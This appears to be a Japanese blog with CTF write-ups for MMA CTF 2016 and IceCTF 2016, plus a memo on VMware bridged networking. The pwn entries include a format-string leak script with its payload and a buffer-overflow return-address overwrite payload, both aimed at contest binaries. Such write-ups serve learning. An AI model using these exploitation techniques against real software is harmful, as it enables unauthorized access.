MMA CTF 2nd 2016 writeup

f:id:HowMuch:20160905114239p:plain

SOLUTION

Judgement [pwn]

 指定されたサーバにncで接続するとFlagを聞かれる。 いろいろ試すとフォーマットストリングバグが見受けられるのでインフォメーションリークを狙う。

Flag judgment system
Input flag >> %08x
00000004
Wrong flag...

 次に配布されてる実行ファイルと、自前のflag.txtをローカルに用意して解析。

root@kali:~/ctf/mma/judgement# objdump -D judgement -M intel |grep flag
 80486f0:   e8 fe 00 00 00          call   80487f3 <load_flag>
080487f3 <load_flag>:
 8048813:   75 07                   jne    804881c <load_flag+0x29>
 804881a:   eb 4b                   jmp    8048867 <load_flag+0x74>
 8048837:   75 07                   jne    8048840 <load_flag+0x4d>
 804883e:   eb 27                   jmp    8048867 <load_flag+0x74>
 804885a:   74 06                   je     8048862 <load_flag+0x6f>
0804a0a0 <flag>:

それっぽい関数があるのでgdbで調べると0x804a0a0にFlagの文字列が置かれていることがわかる。

gdb-peda$ telescope
0000| 0xffffd330 --> 0xffffd3dc ("AAAA")
0004| 0xffffd334 --> 0x804a0a0 ("This is Flag!")
0008| 0xffffd338 --> 0xf7ffdaf0 --> 0xf7ffda94 --> 0xf7fb72b8 --> 0xf7ffd938 --> 0x0 
0012| 0xffffd33c --> 0xf7fb72e8 --> 0x8048397 ("GLIBC_2.0")
0016| 0xffffd340 --> 0x1 
0020| 0xffffd344 --> 0x1 
0024| 0xffffd348 --> 0x0 
0028| 0xffffd34c --> 0xa ('\n')

offsetを調べたいが、入力文字数に限界があるためスクリプトで調べる。

import sys, subprocess
n = int(sys.argv[1])
for i in range(n):
    offset = i
    p = "({}):%{}$p".format(offset, offset)
    payload = "AAAA"
    payload += p

    cmd = "echo \'{}\' | ./judgement".format(payload)
    subprocess.call(cmd, shell=True)
root@kali:~/ctf/mma/judgement# python genformat.py 100|grep 0x41414141
Input flag >> AAAA(43):0x41414141

定石通りにFlagを取り出そうとすると、printableでないバイナリデータは弾かれる。ここでいったん詰む...orz

root@kali:~/ctf/mma/judgement# python -c 'print("\xa0\xa0\x04\x08%43$s")'|./judgement 
Flag judgment system
Input flag >> Unprintable character

よく考えたら0x804a0a0という値が%sで参照できればいいだけなので、先ほどのスクリプトでこの値を探すと二か所見つかる。

root@kali:~/ctf/mma/judgement# python genformat.py 100|grep 0x804a0a0
Input flag >> AAAA(28):0x804a0a0
Input flag >> AAAA(32):0x804a0a0

よってoffset 28としてFlagが取れる。

Flag judgment system
Input flag >> %28$s
TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...

Flag:TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}

COMMENT

 正直Warmupの時点できつかった。まだまだ経験値が足りてないかな~という感じです。

 Cryptoも手付けたかったのに変なところで時間削って問題すら読めなくて残念。もっと時間配分とか集中力とか技術以外のところも検討してみる必要がある気がします。

 Web担当がチームに一人いてくれると助かるんだけどな~

IceCTF 2016 writeup

f:id:HowMuch:20160827195544p:plain

SOLUTION

Demo [pwn]

 指定された場所にdemo.cがあるので読んでみると、実行されたときのファイル名が「icesh」であればshellが取れることがわかる。

 lnコマンドで自分のディレクトリに「icesh」としてシンボリックリンクを作成して実行するとシェルが取れるのでflagが読める。

Smashing_Profit! [pwn]

gdbデバッグしてみると0x804850bに「flag.txt」を読み込んで表示してくれるflagなる関数が存在しているのでbofを利用してリターンアドレスを書き換えて実行する。

retAddr = "\x0b\x85\x04\x08" # 0x804850b
payload = "A" * 76
payload += retAddr
print(payload)

Flag: IceCTF{who_would_have_thunk?}

Rotated! [crypto]

 VprPGS{jnvg_bar_cyhf_1_vf_3?}をrot13で解読するだけ。

Flag:IceCTF{wait_one_plus_1_is_3?}

RSA? [crypto]

 RSA暗号だがe = 0x1であるので全く暗号化されていないというふざけた問題。

c = "4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d"
i = 0
try:
    while True:
        n = c[i]
        i += 1
        n += c[i]
        i += 1
        print(chr(int(n, 16)), end='')
except:
    print()
    pass

Flag:IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}

Spotlight [web]

デベロッパーツールを開くと、コンソールにflagを出力していた。 Flag:IceCTF{5tup1d_d3v5_w1th_th31r_l095}

Move Along

 表示されている画像データのおかれているディレクトリにブラウザからアクセスしたところ他にも覗けるデータがあった。

 その中にFlagの画像が隠されていた。

Flag:IceCTF{tH3_c4t_15_Ou7_oF_THe_b49}

Exposed! [web]

 「robots.txt」を除いたところ、「flag.php」が存在することが分かったのでアクセスしてみるも、何も表示されない。    「.git」も確認できるので、gitでwebをクローンしてlogを見る。

 どうやら「flag.txt」が途中でremoveされているらしいので、それより前の状態に戻して「flag.txt」を読んでFlagっぽいものが出てくるが、ダミーだったorz

 「index.php」に正解のFlagが隠されていたとチームメイトが見つけてくれたが、納得がいかないというかなぜそんなところに隠したんだよっていう。

All your Base are belong to us [misc]

 二進数のasciiで書かれたテキストがあるので、デコードするだけで終わり。

import sys
FILE_NAME = sys.argv[1]
with open(FILE_NAME, "r") as f:
    text = f.read() 

word_list = text.replace("\n", " ").split(" ")

for i in map(lambda x: chr(int(x, 2)), word_list[:-1]):
    print(i, end="")
print()

Flag:IceCTF{al1_my_bases_are_yours_and_all_y0ur_bases_are_mine}

IRC I [misc]

 LimeChatで指定されたIRCにアクセスして、それっぽいチャンネルをかたっぱしからのぞいていくと#78a99bb_flagshareでflagがshareされていた Flag:IceCTF{pL3AsE_D0n7_5h4re_fL495_JUsT_doNT}

Hidden in Plain Sight [binary]

 よく覚えていないがgdbアセンブリを読んだら、ascii範囲内のバイトがやり取りされていたのでそれを集めて表示したらFlagだったような気がする(適当)

COMMENT

 意外と解ける問題、食らいつける問題がちらほらあって楽しめた。 二週間近く開催されていたのに参加したのは終了数日前で、時間が取れない中問題に取り組まなければならなかったので、もっと早く始めておけば良かったという感想。 チームとしての連携もちょっとではあるが発揮できたし、数か月前なら手も足も出ない問題が解けたりして成長が感じられてうれしい。

VMwareでブリッジ接続するときに迷ったところ(覚書)

ブリッジ接続

 私はVMwareで NATでもホストオンリーでもなくブリッジ接続をしたかったわけですよ!(ちなみに接続方式の違いについてはこちらの記事参照:VMwareでの接続方式(NAT/ブリッジ/ホストオンリー)の違い - Qiita


 しかし、いざ何も調べずにやってみてもなぜかゲストOSにIPアドレスが振られない問題が発生して解決に時間を無駄にしたので、同じ過ちを繰り返さないためにも覚書。

方法というかコツ

 コツは、[コントロールパネル] ==> [ネットワークとインターネット] ==> [ネットワーク接続] ==> [アダプターの設定の変更]にあるこいつらの中で[VMware Bridge Protocol]にチェックがついている接続を一つにすることです。

f:id:HowMuch:20160417220018p:plain

 

 例えばホストOSが有線LANでネットワーク接続している場合は、[イーサネット]のプロパティから[VMware Bridge Protocol]にチェックして、他の接続のプロパティの[VMware Bridge Protocol]のチェックは外しておきます。もちろんWi-Fiのチェックも外しておきます。

 逆に無線LANでブリッジ接続したい場合はWi-Fiの接続のプロパティだけに[VMware Bridge Protocol]チェックをして、他の接続からは[VMware Bridge Protocol]チェックを外します。

f:id:HowMuch:20160417220114p:plain

 

 ちなみにwindows10にアップグレードしたときに[VMware Bridge Protocol]という項目は消えてしまいました。

 復活させるには適当な接続のプロパティを開いて[インストール] ==> [サービス] ==> [追加] ==> [VMware Inc] ==> [VMware Bridge Protocol]でできました。

 

結果

 一々切り替えるの面倒ですが、なんとかゲストOSとホストOSを同列のネットワークに別々のIPアドレスを振って接続させることができました。

f:id:HowMuch:20160417220134p:plainf:id:HowMuch:20160417220147p:plain